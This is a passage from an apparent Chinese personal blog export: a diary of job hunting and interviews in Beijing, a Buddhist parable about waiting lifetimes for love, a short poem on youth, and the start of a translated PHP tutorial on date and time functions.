至 5点\n嗯\u0026#8230;已经5点半了\u0026#8230;不管 打个电话去看看\u0026#8230;希望他们还有人在公司\u0026#8230;\n嘟\u0026#8230;.嘟\u0026#8230;.嘟\u0026#8230;\u0026#8230;..没人接\u0026#8230;.\n唉..郁闷那\u0026#8230;..\n第二天早上 8点\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 我就直接往他们给的地址出发了\u0026#8230;.(之前可是查了好久的地图..)\n额\u0026#8230;到中坞村了\u0026#8230;..好烂\u0026#8230;..不过旁边的清华慧谷挺先进\u0026#8230;不知道是不是在里面呢\u0026#8230;..\n晃荡晃荡去\u0026#8230;.没招着\u0026#8230;..好热呀\u0026#8230;这天\u0026#8230;.\n继续晃荡\u0026#8230;.附近好像根本没他们说那什么玉泉山南路嘛!!!\n继续\u0026#8230;..嗯\u0026#8230;\u0026#8230;进中坞村看看去\u0026#8230;\u0026#8230;\n找了半天没找到\u0026#8230;..什么中坞新村我也没看到啊\u0026#8230;\n最后没办法 只好找了个大爷问了一下\u0026#8230;.\n就给我指了西面\u0026#8230;叫我一直朝西走..有一群小楼的地方\u0026#8230;汗\u0026#8230;东西这概念在我们南方人脑子里可不是很好啊\u0026#8230;\n还好他给我指了方向\u0026#8230;.冲啊!!!!\n找啊找\u0026#8230;.嗯\u0026#8230;发现了\u0026#8230;.原来是个小区..不过有围墙\u0026#8230;\u0026#8230;绕了10分钟\u0026#8230;总算绕到正门了\u0026#8230;.原来我从这经过了N次\u0026#8230;.. 我看那有块牌子写着某某汽修厂\u0026#8230;就一直没进去\u0026#8230;.郁闷\u0026#8230;从大路上也看不出里面有什么房子啊\u0026#8230;.唉..修那么高的围墙干嘛呀 你说\n有门卫\u0026#8230;不能随便进呀\u0026#8230;.. 先去问问是不是在里面 哦\u0026#8230;.还真是\u0026#8230;.呵呵\u0026#8230;总算找到啦\u0026#8230;.我都快累死啦\u0026#8230;找到的时候都是2点过了\u0026#8230;午饭就找了家面馆随便吃了碗刀削面\u0026#8230;..好无味\u0026#8230;.\n嗯\u0026#8230;到了\u0026#8230;\u0026#8230;.嗯\u0026#8230;和网站上的照片一样\u0026#8230;.外面很多竹条条包着的大粽子\u0026#8230; 呵呵\n呀\u0026#8230;门在哪呢\u0026#8230;.我可是近视呀\u0026#8230;走近看看\u0026#8230;.嗯? 有人呢 人家先问了\u0026#8230;小伙子 有什么事呀?\n我说 我是来应聘的\u0026#8230;.\u0026#8221;啊? 应聘的呀 , 我们都放假了 你是来应聘什么的呀?\u0026#8221;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 网页设计师啊,,你们不是昨天才给我发的信息么? 叫我速来\u0026#8230;\n这时候出现了另一位\u0026#8230;.年轻一点的 接替了那么大妈\u0026#8230;\n等我把情况说清楚以后 她把我带到了间办公室里\u0026#8230;嗯\u0026#8230;接待室吧..\n然后给了我张表叫我填 然后就不知道找谁去了\u0026#8230;我想应该是BOSS吧\u0026#8230;.不过听名字是男的\u0026#8230;.\n我填啊填\u0026#8230;.说起简历这东西\u0026#8230;.我之前就没填过\u0026#8230;.除了去广东的时候在一家网吧应聘网管的时候随手写过一张\u0026#8230;\u0026#8230;.这拿起笔来我都是手抖的呀\u0026#8230;天气又热\u0026#8230;我在太阳底下晒了那么旧\u0026#8230;都快熟了\u0026#8230;\n我看我放在桌子上的手下面都全是汗\u0026#8230;.手上全是汗..郁闷\u0026#8230;搽搽吧\u0026#8230;搽哪啊\u0026#8230;.我衣服又是白的\u0026#8230;裤子不吸汗\u0026#8230;随便在裤子上抹了两把\u0026#8230;就埋头开始写简历\u0026#8230;\n不一会就进来个男的\u0026#8230;嗯 应该就是那个大姐去叫的那位吧 写完了以后\u0026#8230;我随口跟他打了声招呼..得到他确认以后我就将简历叫给了他\u0026#8230;\n他稍稍看了一下\n就跟我谈了起来\u0026#8230;就问了一下我的工作经验啊什么的\u0026#8230;\n然后就问我的对薪金要求的底线\u0026#8230;..我当时填的是4000 的期望薪金\u0026#8230;.\n不过想了想\u0026#8230;现在工作对我很重要\u0026#8230;不管了\u0026#8230;随便说了个2500 因为姜哥在那边也是2000左右\n然后他继续跟我谈待遇问题\u0026#8230;.包吃,不过每天会从工资里扣1.5元,不管你吃不吃\u0026#8230;.\n然后有宿舍的..\n但是工资呢\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 就低了\u0026#8230;.他给我说有3个月试用期\u0026#8230;\n试用期薪水是 800~2000 ..看他的意思\u0026#8230;我估计在1000左右吧\n然后叫我给他看看作品\u0026#8230;.\n嗯\u0026#8230;.程序嘛他不懂\u0026#8230;我也没空间放..而且也没现成的\u0026#8230;\n回去做一个再给他吧..不过我说的是回去找找..我说在我硬盘里的\u0026#8230;.\n哎呀呀\u0026#8230;头大啊\u0026#8230;临时赶工\u0026#8230;当天晚上跑到网星\u0026#8230;包宿\u0026#8230;继续包宿\u0026#8230;\n这机器好 装修好 还有空调 呵呵 挺好的 不过北京这地方太TMD讨厌了 包宿比我们那边高了2倍..\n比市里可是高了近3倍呀\u0026#8230;郁闷\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 15块..心疼\u0026#8230;\n一时没什么想法\u0026#8230;.N天没摸电脑了\u0026#8230;PS更是放下好久了\u0026#8230;唉\u0026#8230;\n不知道怎么做\u0026#8230;.去看看他们网站吧\u0026#8230;.嗯..算了\u0026#8230;\n随便找个素材做好了\u0026#8230;我也选绿色\u0026#8230;.做个公益宣传页?\u0026#8230;.呵呵 谁知道呢\u0026#8230;先乱画吧\n嗯嗯\u0026#8230;慢慢成型了\u0026#8230;哎呀\u0026#8230;没有内容\u0026#8230;算了算了\u0026#8230;反正都是绿色健康风格的\u0026#8230;干脆就把他们站的内容放点\n过来好了 就用他们站做素材\n花了4个小时..真辛苦啊\u0026#8230;.算是差不多了\u0026#8230;不过没什么内容\u0026#8230;只好随便找了点图填充了一下\u0026#8230;呵呵\n自我感觉还不错\u0026#8230;.(图在相册里有)\n\u0026#8230;发了邮件给他们\u0026#8230;.到底是哪个邮箱啊\u0026#8230;..bjdlybj@163.com(北京动力源保健？) bjdlbjy 北京动力保健院？\u0026#8230;.管他呢\u0026#8230;两个都发\u0026#8230;\n汗\u0026#8230;有一个是错的\u0026#8230;.163发不出去..呵呵\u0026#8230;\n那么应该是另一个了嘛\u0026#8230;\n第二天早上赶紧给他们打电话\u0026#8230;.哦\u0026#8230;.面试我的那个家伙在开会呢\u0026#8230;(他姓李)\n只好再等等了\u0026#8230;我突然想起来\u0026#8230;会不会是我邮箱写错了\u0026#8230;.\n拿出他给我写的条子\u0026#8230;汗\u0026#8230;.还真写错了\u0026#8230;.\n赶紧进邮箱再转发\u0026#8230;..呼\u0026#8230;差点搞砸老\u0026#8230;嘿嘿\u0026#8230;\n下午再打电话过去\u0026#8230;.呵呵 应该行了吧\u0026#8230;叫我周一去面试\u0026#8230;\n他当时给我说的是 如果作品看了还行的话他会通知我到时候叫我跟他上级谈\u0026#8230;\n看来应该是没问题了\u0026#8230;..\n等\u0026#8230;.等\u0026#8230;..等\u0026#8230;..待续\n============================\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 5\u0026nbsp;\u0026nbsp; 月\u0026nbsp;\u0026nbsp; 7\u0026nbsp;\u0026nbsp;\u0026nbsp; 号\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; =================================\n今天面试了,我早上去\u0026#8230;他们一直在开会\u0026#8230;我从9点20左右一直等到12点过\u0026#8230;\n很郁闷\u0026#8230;\n然后,好不容易等到了他们所谓的董事长\u0026#8230;(一肥婆..)\n然后..拿着我的简历就开始说了\u0026#8230;.\n首先\u0026#8230;开门见山 \u0026#8230;..这个 \u0026#8230;.2500的工资是绝对不可能的\u0026#8230;..\n我那会有点凉了\u0026#8230;2500在这个行业里面绝对不高\u0026#8230;.\n不过冲着那吃住都包的情况\u0026#8230;.忍了\u0026#8230;反正又没打算做长久\u0026#8230;\n我给她说 这个没事,先看看您觉得我有多少能力,这个是可以调整的嘛..\n哎\u0026#8230;心里狠操N次\u0026#8230;..\n然后这个话题就结束了\u0026#8230;.然后就扯啊\u0026#8230;什么\u0026#8230;\n\u0026#8220;这个,网站这个东西吗,工程还是蛮庞大的,一个人肯定是无法完成的是吧?肯定是一个团队来做吧?\u0026#8221;\n本来我想说\u0026#8230;这个,我看现在公司的网站好像也没什么复杂的地方,我一个人应该可以自如应付了\u0026#8230;\n\u0026#8230;但我一看旁边 ,,就一开始面试我那个\u0026#8230;.好像无意中得知他就是这公司搞网络的\u0026#8230;也就是有可能是未来的同事\u0026#8230;.考虑这个问题\u0026#8230;.嗯,嗯,,,不能得罪人家\u0026#8230;.\n只好应声\u0026#8230;对对,,这个肯定的,肯定得一个团队来做..\n还没等我发表完我的意见,她又接着说\u0026#8230;所以,我们要先了解你的能力有多少,才好决定你的薪水水平\u0026#8230;\n我先看看你做的那个设计吧\u0026#8230;.(原来她还没看过\u0026#8230;晕)\n然后把电脑打开\u0026#8230;.看看\u0026#8230;嗯嗯\u0026#8230;.\n然后就叫我陈述我的设计理念\u0026#8230;.\n我汗\u0026#8230;大汗\u0026#8230;.2,3个小时做的东西能有什么精髓的东西? HOHO 再说我设计本来就不行\u0026#8230;\n只好胡乱扯了一点\u0026#8230;..那个人象征生命,,,活力,,,那个齿轮象征什么动力之类\u0026#8230;又把为什么那么布局跟她说了\u0026#8230;\n她开始评判了\u0026#8230;.嗯\u0026#8230;这个\u0026#8230;你这个太乱\u0026#8230;太杂..什么什么\u0026#8230;.反正忽悠了我半天\u0026#8230;..\n郁闷\u0026#8230;搞得很有文化\u0026#8230;很有深度\u0026#8230;很懂\u0026#8230;很明白\u0026#8230;.郁闷 \u0026#8230;我非常郁闷\u0026#8230;.\n然后叫我3天之内再做个作品出来 能突出特色\u0026#8230;吸引人..什么什么\u0026#8230;\n然后说什么\u0026#8230;一大堆的\u0026#8230;.\n我有点晕了\u0026#8230;不打算搞这个的\u0026#8230;就跟她说\u0026#8230;.\u0026#8221;这个,,,您应该知道,我主要是做程序,应该是主要负责网站的功能实现部分的\u0026#8230;\u0026#8221;\u0026#8230;\n汗..她又来了\u0026#8230;.貌似吃定我了\u0026#8230;\n\u0026#8220;可你简历上写得很全面嘛,而且即使你是做程序的,你也要根美工沟通对不对\u0026#8230;你要怎么怎么\u0026#8230;\u0026amp;^%$^%@!3,\u0026#8230;\u0026#8230;\u0026#8230;我们要的是人才\u0026#8230;\u0026#8221;..\n听到她后面那句,,,\u0026#8221;我们要的是人才的时候\u0026#8230;\u0026#8221;\u0026nbsp;\u0026nbsp;\u0026nbsp; 我就想K她了\u0026#8230;..不想出钱还要人才\u0026#8230;.而且还要超全能的\u0026#8230;\n比美工还要美工的程序员\u0026#8230;..我日\u0026#8230;.就那么点$$$\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ,,,\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 她是不是穷疯了\u0026#8230;\n不过想到生活问题\u0026#8230;我又忍了\u0026#8230;..\n嗯\u0026#8230;只好说\u0026#8230;\u0026#8221;这样吧,,我试试\u0026#8230;\u0026#8221;\n本来我打算回去了\u0026#8230;.她说\u0026#8230;\u0026#8221;这样,你要是去网吧不方便的话,可以在我们这做,我可以提供你电脑\u0026#8230;\u0026#8221;\n然后她就闪了\u0026#8230;看来是叫那个\u0026#8230;就一开始接待我那个\u0026#8230;李SIR\u0026#8230;呵呵 \u0026#8230;就是有可能我未来同事的那位..\n给我安排了\u0026#8230;.嗯\u0026#8230;我想了想\u0026#8230;反正做个图嘛..也花不了多少时间\u0026#8230;就在他们那做吧..不过我要先去吃饭..\n那\u0026#8221;李SIR\u0026#8221; 也说了\u0026#8230;额..电脑我还要整理一台给你\u0026#8230;这样..你先去吃饭吧..一会再来\u0026#8230;.\n\u0026#8230;..我就等这句话呢\u0026#8230;哎..没品\u0026#8230;我还以为他们会请我吃饭呢\u0026#8230;.呵呵\u0026#8230;..\n我赶紧飞到路口那一家小面馆叫了家凉面\u0026#8230;\u0026#8230;额\u0026#8230;突然想到在吉林吃那个甜不甜酸不酸,辣不辣咸不咸的凉面\u0026#8230;.汗\u0026#8230;不过人家已经做了\u0026#8230;算了算了\u0026#8230;.\n嗯\u0026#8230;面来了\u0026#8230;.味道还行\u0026#8230;比吉林那个好吃多了\u0026#8230;.虽然还是没我们贵州的强\u0026#8230;嘿嘿\u0026#8230;.\n到吃饱整个过程也就15分钟左右吧\u0026#8230;\n我又回去\u0026#8230;回到那间接待室\u0026#8230;(准备给我用的电脑就放这地方\u0026#8230;)\u0026nbsp;\u0026nbsp;\n就看到他们俩(网络部是两个人\u0026#8230;另一个人没怎么接触..就不介绍啦..)\n拿着一块网卡,一块内存在那比划什么\u0026#8230;.我凑过去一看\u0026#8230;天\u0026#8230;还SD的内存呀\u0026#8230;\n嗯?\u0026#8230;那家伙(李)好像听到我说话了\u0026#8230;凑过来问我,你知道这是什么?\n我还以为他考我呢\u0026#8230;.额\u0026#8230;.\u0026#8221;内存啊 ,应该是现代256M的\u0026#8230;\u0026#8221;\u0026#8230;\n\u0026#8230;他突然转头把内存递给另一个家伙..说:\u0026#8221;这是内存..\u0026#8221;;;;;\n我大汗\u0026#8230;原来他们俩琢磨半天\u0026#8230;.就没搞清楚那玩意是内存啊\u0026#8230;.我的天\u0026#8230;.\n本来就觉得他们俩菜,,没想到这么菜,,,无敌了\u0026#8230;.\n怎么这年头混干饭这么好混..有真本事的反而混不出头呢?\n接着他又给我说那台电脑上不了网\u0026#8230;线接不到路由上,,,线不够长\u0026#8230;\n刚好我想了想也不想在他们那做\u0026#8230;.很烦,,而且姜哥还等我回去搬家呢\u0026#8230;.\n我就回去了\u0026#8230;.心情无比郁闷\u0026#8230;.\n啊啊啊\u0026#8230;郁闷的一天呀\u0026#8230;\u0026#8230;\n下午 6点\n搬家了\u0026#8230;\u0026#8230;..地址: 三环新城\u0026nbsp;\u0026nbsp;\u0026nbsp; 7栋\u0026#8230;.19楼\u0026#8230;4单元 ? 大概这地方吧\u0026#8230;\n额\u0026#8230;搬东西好累\u0026#8230;..\n刚准备换拖鞋休息一下\u0026#8230;.突然发现..呀\u0026#8230;拖鞋呢\u0026#8230;\u0026#8230;大汗\u0026#8230;大汗\u0026#8230;.\n我的拖鞋没带过来\u0026#8230;..10快钱呀呀呀\u0026#8230;\u0026#8230;\u0026#8230;重点是我很喜欢\u0026#8230;..挺漂漂的\u0026#8230;.\n赶紧下楼\u0026#8230;坐公车回去\u0026#8230;.郁闷\u0026#8230;.回到那拿到拖鞋\u0026#8230;都8点过了(我大概7点出去的,在楼下都等了20分钟的车)\n\u0026#8230;..果然北京是大地方啊\u0026#8230;..等车\u0026#8230;等车\u0026#8230;.呀?\u0026#8230;.\n102呢?\u0026#8230;.不停?\u0026#8230;.过一辆不要紧\u0026#8230;下一辆还有呢\u0026#8230;\n106?\u0026#8230;..也不停\u0026#8230;..汗\u0026#8230;.搞什么\u0026#8230;.\n等过了N辆以后\u0026#8230;我猛然发现\u0026#8230;路线牌上写的\u0026#8230;.102,106 末班车\u0026#8230;20:00\u0026nbsp;\u0026nbsp;\u0026nbsp;\n我曰\u0026#8230;\u0026#8230;太郁闷了\u0026#8230;太郁闷了\u0026#8230;.\n咋办?\u0026#8230;先坐车到前面一点吧\u0026#8230;看有没有其他车过去\u0026#8230;多换几次车也可以\u0026#8230;.\n等我到了定慧北桥的时候,我惊讶的发现\u0026#8230;耶\u0026#8230;.车\u0026#8230;车在哪\u0026#8230;\u0026#8230;5555\u0026#8230;.\n往三环的车貌似已经没有了\u0026#8230;\u0026#8230;\u0026#8230;\u0026#8230;.只好给姜哥打电话\u0026#8230;今天晚上看来只有在网吧过了\u0026#8230;.\n哎\u0026#8230;命苦啊\u0026#8230;..找到网吧的时候\u0026#8230;.23点\u0026#8230;..\n我发出这篇文章的时候刚好是\u0026#8230;0:00\n\u0026#8230;..待续\u0026#8230;..待续\u0026#8230;..待续\u0026#8230;..待续\u0026#8230;..待续\n","permalink":"https://hessian.cn/p/605.html","summary":"(TNND 本来是我同学 还玩得很好的那种,说这边有项目,叫我过来搞\u0026#8230;哪知道过来后又叫我坐火车去吉林通化那边,再到白山..原来是搞直销\u0026#8230;郁闷\u0026#8230;去那待了2天听了几堂课\u0026#8230;.不干\u0026#8230;走人\u0026#8230;.丫的..浪费老子近千块钱\u0026#8230;顶他个肺啊\u0026#8230;还是回北京找工作吧\u0026#8230;现在回乙膊恢 栏墒裁戳?\u0026#8230;原来的活都托给我哥做了..唉\u0026#8230;..)\n","title":"找工作! gangbadiesu~!!!"},{"content":"有个年轻美丽的女孩，出身豪门，家产丰厚，又多才多艺，日子过得很好,媒婆也快把她家的门槛给踩烂了，但她一直不想结婚，因为她觉得还没见到她真正想要嫁的那个男孩。 直到有一天，她去一个庙会散心，於万千拥挤的人群中，看见了一个年轻的男人，不用多说什么，反正女孩觉得那个男人就是她苦苦等待的结果了。可惜， 庙会太挤了,她无法走到那个男人的身边，就这样眼睁睁的看著那个男人消失在人群中。后来的两年里，女孩四处去寻找那个男人，但这人就像蒸发了一样，无影无 踪。女孩每天都向佛祖祈祷，希望能再见到那个男人。她的诚心打动了佛祖，佛祖显灵了。 佛祖说：\u0026quot;你想再看到那个男人吗？\u0026quot; 女孩说：\u0026quot;是的！我只想再看他一眼！\u0026quot; 佛祖：\u0026quot;你要放弃你现在的一切，包括爱你的家人和幸福的生活。\u0026quot; 女孩：\u0026quot;我能放弃！\u0026quot; 佛祖：\u0026quot;你还必须修炼五百年道行，才能见他一面。你不后悔?？\u0026quot; 女孩：\u0026quot;我不后悔！\u0026quot; 女孩变成了一块大石头，躺在荒郊野外，四百多年的风吹日晒，苦不堪言，但女孩都觉得没什么，难受的是这四百多年都没看到一个人，看不见一点点希望，这让她都快崩溃了。 最后一年，一个采石队来了，看中了她的巨大，把她凿成一块巨大的条石，运进了城里，他们正在建一座石桥，於是，女孩变成了石桥的护栏。 就在石桥建成的第一天，女孩就看见了，那个她等了五百年的男人！他行色匆匆，像有什么急事，很快地从石桥的正中走过了，当然，他不会发觉有一块石头正目不转睛地望著他。男人又一次消失了。 再次出现的是佛祖。 佛祖：\u0026quot;你满意了吗？\u0026quot; 女孩：\u0026quot;不！为什么？为什么我只是桥的护栏？如果我被铺在桥的正中，我就能碰到他了，我就能摸他一下！\u0026quot; 佛祖：\u0026quot;你想摸他一下？那你还得修炼五百年！\u0026quot; 女孩：\u0026quot;我愿意！\u0026quot; 佛祖：\u0026quot;你吃了这么多苦，不后悔？\u0026quot; 女孩：\u0026quot;不后悔！\u0026quot; 女孩变成了一棵大树，立在一条人来人往的官道上，这里每天都有很多人经过，女孩每天都在近处观望，但这更难受，因为无数次满怀希望的看见一个人走 来，又无数次希望破灭。不是有前五百年的修炼，相信女孩早就崩溃了！日子一天天的过去，女孩的心逐渐平静了，她知道，不到最后一天，他是不会出现的。又是 一个五百年啊！最后一天，女孩知道他会来了，但她的心中竟然不再激动。 来了！他来了！他还是穿著他最喜欢的白色长衫，脸还是那么俊美，女孩痴痴地望著他。这一次，他没有急匆匆的走过，因为，天太热了。他注意到路边有一棵大 树，那浓密的树荫很诱人，休息一下吧，他这样想。他走到大树脚下，靠著树根，微微的闭上了双眼，他睡著了。女孩摸到他了！他就靠在她的身边！但是，她无法 告诉他，这千年的相思。她只有尽力把树荫聚集起来，为他挡住毒辣的阳光。千年的柔情啊！男人只是小睡了一刻，因为他还有事要办，他站起身来，拍拍长衫上的 灰尘，在动身的前一刻，他回头看了看这棵大树，又微微地抚摸了一下树干，大概是为了感谢大树为他带来清凉吧。然后，他头也不回地走了！ 就在他消失在她的视线的那一刻，佛祖又出现了。 佛祖：\u0026quot;你是不是还想做他的妻子？那你还得修炼。\u0026quot; 女孩平静地打断了佛祖的话：\u0026quot;我是很想，但是不必了。\u0026quot; 佛祖：\u0026quot;哦？\u0026quot; 女孩：\u0026quot;这样已经很好了，爱他，并不一定要做他的妻子。\u0026quot; 佛祖：\u0026quot;哦！\u0026quot; 女孩：\u0026quot;他现在的妻子也像我这样受过苦吗？\u0026quot; 佛祖微微地点点头。 女孩微微一笑：\u0026quot;我也能做到的，但是不必了。\u0026quot; 就在这一刻，女孩发现佛祖微微地叹了一口气，或者是说，佛祖轻轻地松了一口气。 女孩有几分诧异：\u0026quot;佛祖也有心事？\u0026quot; 佛祖的脸上绽开了一个笑容：因为这样很好，有个男孩可以少等一千年了，他为了能够看你一眼，已经修炼了两千年。\u0026quot; 生命总是平衡的，以一种我们了解或是不了解的方式。\n","permalink":"https://hessian.cn/p/351.html","summary":"有个年轻美丽的女孩，出身豪门，家产丰厚，又多才多艺，日子过得很好,媒婆也快把她家的门槛给踩烂了，但她一直不想结婚，因为她觉得还没见到她真正想要嫁的那个男孩。 直到有一天，她去一个庙会散心，於万千拥挤的人群中，看见了一个年轻的男人，不用多说什么，反正女孩觉得那个男人就是她苦苦等待的结果了。可惜， 庙会太挤了,她无法走到那个男人的身边，就这样眼睁睁的看著那个男人消失在人群中。后来的两年里，女孩四处去寻找那个男人，但这人就像蒸发了一样，无影无 踪。女孩每天都向佛祖祈祷，希望能再见到那个男人。她的诚心打动了佛祖，佛祖显灵了。 佛祖说：\u0026quot;你想再看到那个男人吗？\u0026quot; 女孩说：\u0026quot;是的！我只想再看他一眼！\u0026quot; 佛祖：\u0026quot;你要放弃你现在的一切，包括爱你的家人和幸福的生活。\u0026quot; 女孩：\u0026quot;我能放弃！\u0026quot; 佛祖：\u0026quot;你还必须修炼五百年道行，才能见他一面。你不后悔?？\u0026quot; 女孩：\u0026quot;我不后悔！\u0026quot; 女孩变成了一块大石头，躺在荒郊野外，四百多年的风吹日晒，苦不堪言，但女孩都觉得没什么，难受的是这四百多年都没看到一个人，看不见一点点希望，这让她都快崩溃了。 最后一年，一个采石队来了，看中了她的巨大，把她凿成一块巨大的条石，运进了城里，他们正在建一座石桥，於是，女孩变成了石桥的护栏。 就在石桥建成的第一天，女孩就看见了，那个她等了五百年的男人！他行色匆匆，像有什么急事，很快地从石桥的正中走过了，当然，他不会发觉有一块石头正目不转睛地望著他。男人又一次消失了。 再次出现的是佛祖。 佛祖：\u0026quot;你满意了吗？\u0026quot; 女孩：\u0026quot;不！为什么？为什么我只是桥的护栏？如果我被铺在桥的正中，我就能碰到他了，我就能摸他一下！\u0026quot; 佛祖：\u0026quot;你想摸他一下？那你还得修炼五百年！\u0026quot; 女孩：\u0026quot;我愿意！\u0026quot; 佛祖：\u0026quot;你吃了这么多苦，不后悔？\u0026quot; 女孩：\u0026quot;不后悔！\u0026quot; 女孩变成了一棵大树，立在一条人来人往的官道上，这里每天都有很多人经过，女孩每天都在近处观望，但这更难受，因为无数次满怀希望的看见一个人走 来，又无数次希望破灭。不是有前五百年的修炼，相信女孩早就崩溃了！日子一天天的过去，女孩的心逐渐平静了，她知道，不到最后一天，他是不会出现的。又是 一个五百年啊！最后一天，女孩知道他会来了，但她的心中竟然不再激动。 来了！他来了！他还是穿著他最喜欢的白色长衫，脸还是那么俊美，女孩痴痴地望著他。这一次，他没有急匆匆的走过，因为，天太热了。他注意到路边有一棵大 树，那浓密的树荫很诱人，休息一下吧，他这样想。他走到大树脚下，靠著树根，微微的闭上了双眼，他睡著了。女孩摸到他了！他就靠在她的身边！但是，她无法 告诉他，这千年的相思。她只有尽力把树荫聚集起来，为他挡住毒辣的阳光。千年的柔情啊！男人只是小睡了一刻，因为他还有事要办，他站起身来，拍拍长衫上的 灰尘，在动身的前一刻，他回头看了看这棵大树，又微微地抚摸了一下树干，大概是为了感谢大树为他带来清凉吧。然后，他头也不回地走了！ 就在他消失在她的视线的那一刻，佛祖又出现了。 佛祖：\u0026quot;你是不是还想做他的妻子？那你还得修炼。\u0026quot; 女孩平静地打断了佛祖的话：\u0026quot;我是很想，但是不必了。\u0026quot; 佛祖：\u0026quot;哦？\u0026quot; 女孩：\u0026quot;这样已经很好了，爱他，并不一定要做他的妻子。\u0026quot; 佛祖：\u0026quot;哦！\u0026quot; 女孩：\u0026quot;他现在的妻子也像我这样受过苦吗？\u0026quot; 佛祖微微地点点头。 女孩微微一笑：\u0026quot;我也能做到的，但是不必了。\u0026quot; 就在这一刻，女孩发现佛祖微微地叹了一口气，或者是说，佛祖轻轻地松了一口气。 女孩有几分诧异：\u0026quot;佛祖也有心事？\u0026quot; 佛祖的脸上绽开了一个笑容：因为这样很好，有个男孩可以少等一千年了，他为了能够看你一眼，已经修炼了两千年。\u0026quot; 生命总是平衡的，以一种我们了解或是不了解的方式。\n","title":"前世积蓄500次的回眸,才换来今世的檫间而过."},{"content":"这是生命中最辉煌、最奢侈、最肆无忌惮的季节。\n这一年，额头上没有生活忧伤的皱纹，\n手心里还满攥着大把的青春，\n为个性而歌唱，为生命而率真；\n对爱情，已经走过了纯真、痴迷的羞涩时代， 对生活仍怀有极大的憧憬，并毫不经心地挥霍着生活。\n这一年，停留在单纯和成熟的临界点\n","permalink":"https://hessian.cn/p/394.html","summary":"这是生命中最辉煌、最奢侈、最肆无忌惮的季节。\n这一年，额头上没有生活忧伤的皱纹，\n手心里还满攥着大把的青春，\n为个性而歌唱，为生命而率真；\n对爱情，已经走过了纯真、痴迷的羞涩时代， 对生活仍怀有极大的憧憬，并毫不经心地挥霍着生活。\n这一年，停留在单纯和成熟的临界点\n","title":"不知道谁写的 不错"},{"content":"by Allan Kent 我正打算用PHP编写一种帮助处理系统。我发现我必须知道处理完最后一位客户的问题后已经过去了多长时间？当我过去用ASP时解决这个问题相当简单，ASP有相应的函数DateDiff可以给出两个日期间间隔多少月、多少天和多少秒。当我搜寻完PHP手册后我发现PHP并没有类似的函数。 本文包含以下内容： 1、 得到目前的日期和时间－我们有多少种方式？ 2、 改变日期显示的方式－日期和时间的显示形式 3、 转换现在的日期为Unix的时间戳值 4、 改变日期 a. 增加时间 b. 减去时间 c. 找出两日期之间的间隔 5、 为PHP添加DateAdd函数 6、 为PHP添加DateDiff函数 **得到目前的日期和时间 在Unix中，时间的表示方式为计算从1970年1月1日零时起所过去的秒数，这称为UNIX 时间戳(Unix Epoch)。 如果我们有这样一段的代码： ? echo time(); ? 将返回值958905820 而此时的时间为2000年5月21日12时43分。 你也许会说这相当不错。当这对我毫无帮助，或者只有一点帮助。在PHP中，对日期处理的函数都必须用到由time()返回的时间戳值。同时，由于PHP在Unix和Windows系统中均使用同样的时间戳值，这就允许你不需要修改代码即可在不同的系统间移植。另外的一个好处是time()函数返回的是一个整数，你可以将其作为整数字段或文本字段存入数据库，而不必使用特别的日期/时间字段。 你已经基本了解了Unix的时间戳值，现在让我们来展示它的实际用途。 改变日期显示的方式－日期和时间的显示形式 PHP提供两个办法来将Unix的时间戳值转换成为有用的数据。第一个是date()函数。这个函数有两个参数－第一个字符串用于设定你所希望返回的格式，第二个为Unix的时间戳值。 格式化字符串通过一些简单的特殊格式化字符来显示你所希望看到的格式的日期和时间。假设你希望日期以这样的格式显示“18h01 Sunday 21 May”。 我们需要对字符串中的每一部分使用一个特殊格式化字符，你可以从PHP手册中日期和时间函数库中找到。这样的特殊格式化字符数量不少，他们所表示的类似于星期几、月的英文名、用2位或4位数表示的年份，是否是上午（AM）或下午（PM）以及其他。对于这个例子我们需要的特殊字符为： ‘H’ －24 小时制的小时 ‘i’－ 分钟 ‘l’－ 星期几的英文全名 ‘d’－ 本月的第几日 ‘F’－ 月份的英文全名 因此我们的格式化字符串为”Hhi l d F”， PHP代码为： ? echo date (\u0026#8220;Hhi l d F\u0026#8221; ,time()); ? 当我们执行这段代码，我们发现我们所得到的结果为： 180609 Sunday 21 May 这样的结果看起来有些奇怪。让我们再查一下PHP手册，原来’h’所代表的是12 小时制的小时数。这再次证明了一句真理：“计算机只做你所告诉它该做的，而不是你想要它做的”。我们有两个选择。第一个是在h前使用转义字符“”： echo date (\u0026#8220;Hhi l d F\u0026#8221;, time()); 我们得到这样的结果： 18h12 Sunday 21 May 这正是我们所要的。但如果我们在一个十分复杂的句子中需要包含日期和时间，我们是否需要对每个字符使用转义字符？ 答案当然是不。我们使用另一个函数strftime()。 strftime()有两个好处。第一个好处我们并不在本文讨论范围内－如果你使用setlocale()函数，你可以通过strftime得到相应语言的月份的名称。另外的一个好处是你可以将特别的日期和时间的格式化字符包含在你的字符串中。这同时也意味着无论你是否要学习date()函数的所有特殊格式化字符，你都必须学习一整套完全不同的格式化字符。 strftime()工作的方式和date()没有什么不同，除了特殊格式化字符的前面必须添加一个百分号%。如果用strftime()函数，前面例子的代码如下： ? echo strftime (\u0026#8220;%Hh%M %A %d %b\u0026#8221; ,time()); ? 结果为： 18h24 Sunday 21 May 这也许看起来将简化繁，但考虑一下如果你所需要的显示的为\u0026#8221;Today is Sunday 21 May 2000. The time is somewhere close to 18h24.\u0026#8221; 我想使用date()函数无疑令人感到厌烦。 在开始的时候，我提及我们有两种方式可以从Unix时间戳值中得到有用的数据。我们刚刚了解了date()和strftime()。另一个getdate()。这个函数只需要Unix 的时间戳值作为参数，而函数的返回值为日期和时间的数组。 下面是一个例子： ? $date_time_array = getdate (time()); echo $date_time_array[ \u0026#8220;weekday\u0026#8221;]; ? 返回的结果为： Sunday 除了\u0026#8221;weekday\u0026#8221;，该数组的其他部分为： \u0026#8220;seconds\u0026#8221; –秒 \u0026#8220;minutes\u0026#8221; –分 \u0026#8220;hours\u0026#8221; –小时 “mday\u0026#8221; \u0026#8211; 本月的第几天 \u0026#8220;wday\u0026#8221; -本周的第几天（数字） \u0026#8220;mon\u0026#8221; -月（数字） 